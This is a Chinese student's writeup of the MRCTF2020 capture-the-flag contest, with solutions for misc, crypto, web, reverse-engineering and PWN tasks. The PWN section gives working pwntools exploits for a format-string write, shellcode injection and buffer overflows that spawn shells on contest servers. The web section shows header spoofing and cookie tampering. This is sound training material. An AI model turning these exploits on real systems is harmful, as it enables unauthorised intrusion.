MRCTF2020校内部分 writeup


MRCTF Writeup

misc

调查问卷

emmmmmmmm

CyberPunk

真正的签到题!做的人也最多。

提示要到发售时间才能给flag,最简单的办法就是改一下系统时间就可以了。

不眠之夜

解压后得到许多图片,一种方法是手拼。.DS_store文件是mac上指示图片顺序的文件,如果没有mac可以找有mac的同学~~可以先按时间排列,看看能看出什么不,之后手拼也不难。

图片肯定是拿脚本生成的所以有时间顺序。此外也需要看文件个数算下长宽。使用PIL库即可。

你能看懂音符吗

下载得到的rar包显示未知or损坏。用010editor查看发现包头的标志写跑偏了。改为Rar即可打开。文件中是一个word文档,打开后给出的是音符。

到这个网站

文本加密为音乐符号

把音乐符号输入解密即可。只是不能复制,不知道有什么好办法,我是用输入法符号表输入的……

寻找xxx

压缩包内文件是一个音频,播放听起来非常像电话号码的声音。在Audacity中打开,切换为频率并放大频率尺。然后根据电话拨号音高低频对照表读出电话号码186xxxx1609。发给公众号后即得flag图片。

ezmisc

打开图片显示图片已损坏,又是png图片。用010editor打开脚本检测到CRC不正确,尝试改高度或宽度。高度增加50,用windows自带的图片查看器查看就可以看到flag了。关于png文件格式,可参阅

PNG文件格式详解

千层套路

套娃题……

压缩包上来居然有个hint??我做时候咋没有。

第一个包解开里面还是压缩包,但是需要密码。用ziperello破解一下很快出来结果,并且还和前一个压缩包文件名一致。重复几次一直都是压缩包,照这样下去估计有一万个包等着。用Python脚本来解压,代码如下:

# -*- coding:utf-8 -*-
import zipfile  # 引入zipfile模块

name = '0573.zip'
passwd = b'0573'  #密码需要b''样式的字符串
while (1):
    with zipfile.ZipFile(name) as zFile:  # 创建ZipFile对象指定需要解压的zip文件
        zFile.extractall(path='./', pwd=passwd)
        name = zFile.filelist[0].filename
        if name[-3:-1] != 'zi':  #如果文件后缀不是zip了就停止
            break
        passwd = bytes(name[0:4], 'utf-8')
        # print('Extract the Zip file successfully!')

解压成功真的有4w个包……但是结果是一个qr.txt。打开后为(255,255,255)和(0,0,0)的数据。结合文件名则想到是二维码。同样使用python脚本来生成图片,代码如下:

from PIL import Image

x = 200    #x坐标  通过对txt里的行数进行整数分解
y = 200    #y坐标  x * y = 行数

im = Image.new("RGB", (x, y))   #创建图片
file = open('qr.txt')    #打开rbg值的文件

#通过每个rgb点生成图片

for i in range(0, x):
    for j in range(0, y):
        line = file.readline()  #获取一行的rgb值
        if line=='(255, 255, 255)\n':  # 粗暴的赋值……处理字符串实在麻烦
            rgb=[255,255,255]
        else:
            rgb = [0, 0, 0]
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))    #将rgb转化为像素

im.show()   #也可用im.save('flag.jpg')保存下来

然后扫描二维码即可。

Unravel!!

包里有很多文件,对于JM.png可以直接010editor查看到尾部藏了个图。可以用kali自带的foremost或者binwalk将其分离出来,是一个写着 Tokyo 的图片。

接下来处理音频。音频名提示查看文件末尾,010editor查看到末尾有一个key的字符串。

这里坑了很久。一开始以为是base64,解码后发现开头是Salted,但是没法正常解码,考虑搜索了很久base64加盐的事……后来又想到Tokyo可能是密码用来解密这个字符串的。试了试发现用AES可以正确解密得到字符串。然后就可以解密最后的压缩包了。压缩包里有个wav文件,对于wav文件能正常听的都可能是隐写。用SilentEye提取就得到了flag。

pyFlag

这个题最后没做出来我哭了

三张图片按.DS_Store的顺序排列好。binwalk发现三张图后都有zip文件隐藏。我这里用010editor把PK开头的三个端拼在一起保存为zip文件,就可以解压了。

zip需要密码,ziperello爆破一下得到密码就是1234.然后查看里面的flag和hint。

说是套娃base系列,也给了0x10,0x20,0x30,0x55,对应16 32 48 85.但是我没能解出来。flag的样子是base85没法正确解码的,base48似乎只存在于一群互相搬的java编程文件中。这里就卡住了。期待别的师傅的wp。

Algo

小O的考研复试

这题是后来才想明白该咋算……我是真没有这个数学头……代码如下:

a=2
for i in range(19260816):
    a = a * 10 + 2
    a%=(1e9+7)

print(a)

Web

web题我做的真是辣鸡我都没眼看了呜呜呜

ez_bypass

这是签到题啦,一开始就只能做这一道……

是个代码审计的题吧,主要就是想办法绕过。页面展示代码如下:

<?php $flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
    $id = $_GET['id'];
    $gg = $_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if (isset($_POST['passwd'])) {
            $passwd = $_POST['passwd'];
            if (!is_numeric($passwd)) {
                if ($passwd == 1234567) {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                } else {
                    echo "can you think twice??";
                }
            } else {
                echo 'You can not get it !';
            }
        } else {
            die('only one way to get the flag');
        }
    } else {
        echo "You are not a real hacker!";
    }
} else {
    die('Please input first');
}
}

首先需要以get方法上传两个参数id和gg,之后第一个判断需要两者MD5值相等但两者不相等,用到了强判断。因此选择的绕过方法是MD5和sha1函数对一个数组求散列值的时候返回值为null,这样就能实现这个判断条件。

下一步还需要构造一个post方法提交的参数passwd,值为1234567,但是首先要求他不是数字。那么可以联想到php比较字符串和数字时会截断字符串中数字部分并来比较,因此构造一个包含1234567字符串post过去就可以了。

这里我是用的是Firefox的插件hackbar,这些简单的功能都有。用python的request库也可以。

hackbar

珠心算擂台

这么简单的题当然是做一千道口算题啦

检查js代码,在cykamath.js中找到了这样的关键代码:

function judgeProblem() {
    Cookies.set('totalSolve', Number(Cookies.get('totalSolve')) + 1);
    if(Number(getAnswer()) !== Number(Cookies.get('currentAnswer'))) {
        Cookies.set('totalWrong', Number(Cookies.get('totalWrong')) + 1);
        mdui.snackbar("Wrong Answer", timeout = 500);
    } else {
        mdui.snackbar("Correct Answer", timeout = 500);
    }
}

得知这个计数器保存在cookie中totalSolve中。那么可以在控制台修改本地cookie,使用语句:

Cookies.set('totalSlove',1000)

就修改了本地的cookie。

这里我被坑到了。之后是需要再做两个题,submit几次,才能确保更改成功。如果直接check的话是没法成功的。坑了我好久……差点都把一千道题做出来了……

当然在F12中,储存选项卡下就显示了本地Cookie的值,直接修改也是一样的。当然也需要submit几下。

存储

PYwebsite

这题依旧坑死我:)

题目要求输入购买后得到的激活码。当然是不可能给出题人钱的。那么依旧查看js代码,找到如下关键部分:

function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
}      

是比对了一个MD5值。但是比对完也就是跳转到./flag.php,那为什么不直接过去呢?所以说前端验证还是不那么可信啊……

之后出题人又搞事情:

PYwebsite

这……?没见到会保存IP到后端的地方啊?????

哎发现这么一句话:”除了购买者和我自己“。好嘛,那看来是需要判断访客ip地址了。改成本机就OK了。还是F12,改一下请求头,添加一个XFF头为127.0.0.1,再访问应该就可以了。不过这里需要在请求条目中,查看响应内容,不能直接双击打开。会发现两个flag.php返回的字节大小都是不一样的。

我这儿被神坑啊啊啊啊,比赛结束之前我把始终找不到区别两个响应返回内容一直一样。坑死也不知道为啥。然后比赛结束后再试了一次就好了:)真不知道是哪出了问题

Crypto

keyboard

没什么难度。txt内容如下:

得到的flag用
MRCTF{xxxxxx}形式上叫
都为小写字母

6
666
22
444
555
33
7
44
666
66
3

很容易就联想到是九键键盘,数字是键,重复次数是键上的第几个字母。

天干地支+甲子

网上其实搜得到类似的题哈

得到得字符串用MRCTF{}包裹
一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下
甲戌
甲寅
甲寅
癸卯
己酉
甲寅
辛丑

用干支表对照查出数字,然后“+甲子”,加上60,就是内容的ascii码。

古典密码知多少

上来先有个佛曰还以为是hint,用与佛论禅解码一看结果是古典密码好,,,

图片内容是这样的

crypto

这着实涉及到我的知识盲区了。搜了很多东西才找到对应的三张密码表,按不同颜色翻译出来就可以了。

猪圈密码

猪圈密码/共济会密码

什么?你不会用?

圣堂武士密码

升级的猪圈

标准银河字母

这也太扯了

vigenere

就是一篇以维吉尼亚密码加密的文章,解密后flag就在文末。

关于维吉尼亚密码解密主要涉及的技术就是计算重合指数法求得密钥的长度,最大相关值求得密钥,然后根据加密的逆运算解密得到明文即可。具体的相关理论不再赘述,可以参考:

https://blog.csdn.net/White_Idiot/article/details/61201864

密码学课留了这么一个作业,我这里有一份不是太完备的C语言代码,也仅供大家参考,如果出现问题可能还需要调试。

/*惟密文攻击 重合指数法*/
#include<stdio.h>
#include<ctype.h>
#include<string.h>
#include<stdlib.h>
void to0(int* dict){
	int i;
	for(i=0;i<26;i++){
		dict[i]=0;
	}
}
int cmp(const void *a,const void *b){
	return *(double*)a>*(double*)b?1:-1;
}
int main(){
	int dict[26]={0};
	char cword;       //密文单个字母 
	char c[2000];      //密文全文,只包括小写字母 
	double cnt=0.0;
	int i=0,j,k;
	while((cword=getchar())!=EOF){
		cword=tolower(cword);
		if(cword>'z'||cword<'a')   continue;
		else{
			dict[cword-'a']++;
			c[i]=cword;
			i++;
		}
	}
	cnt=(double)i;
	int m;//分组长度,取2-10试试 
	double CIs[11];//用于求CI的平均值 
	double CI=0.0;
	double CI_total=0.0;
	double CI_totals[10];
	printf("----------------\n");
	for(m=1;m<=10;m++){
		for(j=0;j<m;j++){
			memset(dict,0,26*sizeof(int));
			cnt=0;
			CI=0;
			for(i=0;c[i*m+j]!='\000';i++){
				dict[c[i*m+j]-'a']++;
				cnt++;
			}
			for(k=25;k>=0;k--){
				CI+=(dict[k]/cnt)*(dict[k]-1)/(cnt-1.0);
			}
			printf("%f\n",CI);
			CIs[j]=CI; 	
		}
		for(i=0;i<m;i++){
			CI_total+=CIs[i];
		}
		printf("--------*--------\n");
		printf("%f\n",CI_total/m);
		CI_totals[m-1]=CI_total/m-0.065;
		CI_total=0;
		printf("-----------------\n");
	}
	int maxCI=0;
	for(i=0;i<10;i++){
		maxCI=CI_totals[i]>maxCI?i+1:maxCI;
	}
	printf("%d\n",maxCI);
	printf("-----------------\n");
	qsort(CI_totals,10,sizeof(double),cmp);
	for(i=0;i<10;i++){
		printf("%f\n",CI_totals[i]);
	}
	return 0;
}
/*惟密文攻击最大相关值*/
#include<stdio.h>
#include<ctype.h>
#include<stdlib.h>
#include<string.h>
int cmp(const void *a,const void *b){
	return *(double*)a>*(double*)b?1:-1;
}
int main(){
	const int m=6;      //确认的密钥长度 
	int f[26]={0};      //字母频数
	char cword;       //密文单个字母 
	char c[1000];
	int i=0,j,k,cnt=0;
	while((cword=getchar())!=EOF){
		cword=tolower(cword);
		if(cword>'z'||cword<'a')   continue;
		else{
			c[i]=cword;
			cnt++;
			i++; 
		}
	}
	int wordsNum=cnt;      //密文长度 
	double cor=0;
	double cor_max=0;
	int cor_maxi;
	double p[26]={0};       //概率分布 
	double q[]={0.0817,0.0149,0.0278,0.0425,0.1270,0.0223,0.0202,0.0609,0.0697,0.0015,0.0077,0.0403,0.0241,0.0675,0.0751,0.0193,0.0010,0.0599,0.0633,0.0906,0.0276,0.0098,0.0236,0.0015,0.0197,0.0007};
	                     //通常文本的字母概率分布 
	for(j=0;j<m;j++){
		memset(f,0,26*sizeof(int));
		cnt=0;       //此时为单个分组下密文长度 
		cor_max=0;
		cor_maxi=0;
		for(i=0;c[i*m+j]!='\000';i++){
			f[c[i*m+j]-'a']++;
			cnt++;
		}
		for(k=25;k>=0;k--){
			p[k]=f[k]/(double)cnt;
		}
		for(i=0;i<=25;i++){
			cor=0;
			for(k=0;k<=25;k++){
				cor+=p[(k+i)%26]*q[k];
			} 
			if(cor>cor_max){
				cor_max=cor;
				cor_maxi=i;
			}
		}
		printf("%f\t%d\t%c\n",cor_max,cor_maxi,'a'+cor_maxi);
	}
	return 0;
}
/*解密*/
#include<stdio.h>
#include<stdbool.h>
int main(){
	unsigned char key[]="present";
	unsigned char cword;
	int i=0;
	bool flag1;      //是小写吗? 
	bool flag2;      //改变之后是否是大写? 
	while((cword=getchar())!=EOF){
		if((cword>='a'&&cword<='z')||(cword>='A'&&cword<='Z')){
			if(cword>='a'&&cword<='z')   flag1=true;
			else   flag1=false;
			
			cword-=key[i]-'a';
			
			if(cword>='A'&&cword<='Z')   flag2=true;
			else   flag2=false;
			
			i++;
			i%=7;
			if(flag1&&flag2){
				cword+=26;
				printf("%c",cword);
				continue;
			}
			if((cword<'A')||(cword<'a'&&cword>'Z')){
				cword+=26;
			}
		}
		printf("%c",cword);
	}
	return 0;
}

其实网上也有很多可以破解维吉尼亚密码的在线工具,推荐一个:

https://www.guballa.de/vigenere-solver

这个工具可以根据给出的密钥长度范围,真正的破解,而不只是解密。当然也可以使用我的重合指数法的代码求出密钥长度,来这里直接破解。

PWN

我这个pwn弟弟实在是该去世……

Easy_equation

题目描述中给出了hint这是格式化字符串漏洞。IDA直接来到main函数并查看反编译代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+Fh] [rbp-1h]

  memset(&s, 0, 0x400uLL);
  fgets(&s, 1023, stdin);
  printf(&s, 1023LL);
  if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
    system("exec /bin/sh");
  return 0;
}

fgets函数为字符串s赋值后,又用printf输出s,s的内容不受控制,这里就是字符串漏洞问题所在。

注意判断条件是一个方程,利用网上的解高次方程的工具可以解出judge的一个根是2,只要能覆盖到judge的值使其为2就ok。IDA找到judge的地址为:

judgeAddr=0x0060105C

感觉上与简单的字符串溢出没什么区别,以防万一还是gdb调试一下。

fgets后输入这个字符串

AAAAAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p

A是为了标明我们写入的起始地址再哪儿,%p则会被printf来输出当前之后位置上的数据。

然而这个栈出了问题,是有骚操作的。在printf中也能看出来这个问题。

eazy_equation

这个地方会把数据写入偏移量后第一个位置,之后填充为0了,再下一个地址才会开始写入之后的数据,也就是我们见到的41000......00414141......这样的情况。此外,如果想要使judge值为2,就不能像普通的那样直接构造payload了,因为judge的地址就比2大了。

因此换个思路,先填充两个字符,把那个先写一个字符之后置零地方隔过去,然后是%n;偏移量并非紧跟着的值,要加上2是两个字符,再加1是特殊位置;然后才是judge的地址。

到这里就可以构造payload了,exp如下:

from pwn import *
context(os='linux',arch='amd64')
a=remote("122.152.208.142",28078)
judgeAddr=0x0060105C

payload='%2c%9$lln'+p64(judgeAddr)
print(payload)
a.sendline(payload)
a.interactive()

获取shell后cat flag即可。

shellcode

同样套路IDA打开,然后竟然不能F5……

如此要命只好硬着头皮看汇编指令了。如下:

shellcode

好在程序并不是很复杂。关键的点在于call rax这个指令很危险。因此可以在read函数时注入shellcode,然后在这里调用的时候直接call shellcode。shellcode借用pwntools给的就可以。

exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
a=remote("122.152.208.142",28044)


shell=asm(shellcraft.amd64.linux.sh())


a.sendline(shell)
a.interactive()

这样居然就……成功了……我也不知道发生了什么……

easy_rop

rop题不会迟到。

main函数反汇编如下:

main

看来v4是调整程序结束的重点,需要合理安排v4的值,然后在这个四个函数中实现rop。此外对于64位程序,传参数并不是用栈来传的,而是有6个寄存器来传,寄存器用完后才用车栈,因此与32位rop溢出方式不同。

四个函数的反汇编如下:

ha
la
he
by

v5的空间为0x300,因此需要找一个合适的地方。只有hehe函数能读0x300的数据,因此第一个数先输入2.然后把v5先填满再说~

在byby函数中,最后对read函数的调用有所变化,是在a1(也就是v5)的已有数据长度再赋值。填满了之后就会发生溢出了。

第一次整数输入2进入hehe,第二次输入7,进入byby也能跳出循环。

此外,还发现了一个sys函数函数的反汇编只有一个puts语句,但查看汇编发现他其实有一个永远不会跳转到的call _system的操作。这很省事,在偏移量后直接填充这个地址,就可以获得shell了。

窍门在这儿

接下来需要找的就是偏移量,要用到gdb中pattern功能。

在byby函数处打断点,然后构造一个0x300长的字符串用于填充输入,再构造一个0x100的字符串用于溢出输入
1

输入之后成了这样,,,

2

在函数返回到main函数后,可以发现栈顶成了我们溢出的字符串,然后执行到main函数ret的时候,这时候就出现了喜闻乐见的:SIGSEGV!!!!

具体原因是,ret相当于pop rip,那么现在栈顶这个家伙不是一个合法的rip地址,就中断了。

这时候用pattern的offset功能就可以计算出偏移量。如图:

3

得知偏移量为18后,就可以构造exp如下:

from pwn import *
context(os='linux',arch='amd64')


a=remote('122.152.208.142',28025)

a.sendline("2")
a.sendlineafter("hehehehehehehe",'a'*0x300)
a.sendline("7")
a.sendlineafter('bybybybybybyby','a'*18+p64(0x00000000004007EA))

a.interactive()

之后cat flag就ok。

easyoverflow

IDA反汇编如下:

main

最喜欢看到的就是gets。可以随便输了。(不幸的gets我却很爱他,不管是编程用还是pwn2333)

重点在check函数中,反汇编如下:

check

也就是说需要把v5及之后的数据每个+i与fake_flag作比较,那么需要在溢出后内容写入的我用c语言来生成:

#include<stdio.h>
#include<string.h>
int main(){
	char fake[]="n0t_r3@11y_f1@g";
	int i,a;
	for(i=0;i<strlen(fake);i++){
		a=fake[i]-i;
		printf("%c",a);
	}
	return 0;
}

得到字符串直接构建exp就可以了:

from pwn import *
payload='a'*0x30+'n/r\\n.:*)pU[%3Y'
a=remote("122.152.208.142",28042)
a.sendline(payload)
a.interactive()

RE

Xor

源文件直接IDA分析:

没有pdb,因此利用字符串交叉引用找到main函数。但是也不能反汇编,还是只能看汇编指令了……

(比较大因此分成两个图片了)

1
2

对于xor题,其实可以猜到第一个比较的就是长度了(1Bh)。

然后在right的成立跳转条件前找到,其实已有结果串就是每次和计数器异或,然后比较是否相同。

很简单的c语言解码如下:

#include<stdio.h>
int main(){
	char c[]="MSAWB~FXZ:J:`tQJ\\\"N@ bpdd}8g";
	int i;
	char key='A';
	for (i=0;i<sizeof(c);i++){
		c[i]^=i;
	}
	printf("%s",c);
} 

Transform

同样是没有pdb,采用上一题同样的策略搜索字符串找到main函数。虽然没有函数名了,但是通过字符串大概能判断出来都是些什么函数。

main

先是判断长度,然后一个for循环就是变形的过程,详细分析这个就可以了。为了表述方便,414040起名result,40F040起名a。

首先是把输入字符串的第 “a的第i位” 位,赋给result的第i位。然后将result第i位与a第i位的最低一个字节异或赋给result。

之后就是一个与key比较的循环。这里key不是显示保存的,需要在位置上选中32个字符转化为字符串,图中已经转化过了。

用c语言计算flag如下:

#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(){
	long a[]={9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11,30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18,26, 28, 14,0};
	char key[]="gy{\x7Fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM";
	int i;
	char res[34]="";
    
	for(i=0;i<=32;i++){
		key[i]^=LOBYTE(a[i]);
		res[a[i]]=key[i];
	}

	printf("%s",res);
	return 0;
} 

PixelShooter

是个unity编写的apk程序。(游戏挺好玩的)

apk压缩包其实就是zip包,关于apk包组成结构不赘述。解压了就可以找到里面的dll,这可以用ida来分析。

我们要用的是Assembly-CSharp.dll,这个文件里包含了untiy程序的主要运行逻辑。

打开后就惊了因为实在太大了……但是符号表还在因此可以通过函数名字来分析。但是要是一个个找实在时不知道要找到啥时候。所以使用ida的文本搜索搜索flag,就可以定位到分数判断的逻辑。

500 point

500分?好像也不是很难,,

hello_world_go

一打开这众多的函数你怕了吗我是怕了……

这么多go的字眼,意识到这是个go语言写的程序。可以查查资料,知道需要从main_main函数入手来分析。幸运的是也可以F5。

main_main

函数非常复杂,参数也很多。但是函数名是能看懂的。printf scanf之类的,大概能明白找对地方了。scanf后很快碰上了一个runtime_memequal()函数,并且引用了一个unk的地方,点进去一看果然是flag。创建一个字符串方便复制。

flag

注意提交时候要改用MRCTF{}。

总结

这场比赛是我第一次参加的正式CTF比赛,可谓是打得我落花流水,深切感受到自己知识的大片盲区和经验为0。迫切需要提高自己啊哈。多参加比赛应该就会好很多。web方面自己真的是弱项。需要好好提高web水平并且丰富经验。web其实有很多想到了但是做不出来实现不了的情况,我觉得就是经验问题吧。

这wp也是我第一次写wp,没有师傅督促可能就不会写了……零零散散写了这么多,讲解的也不是很清楚很完备,还请大家斧正。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM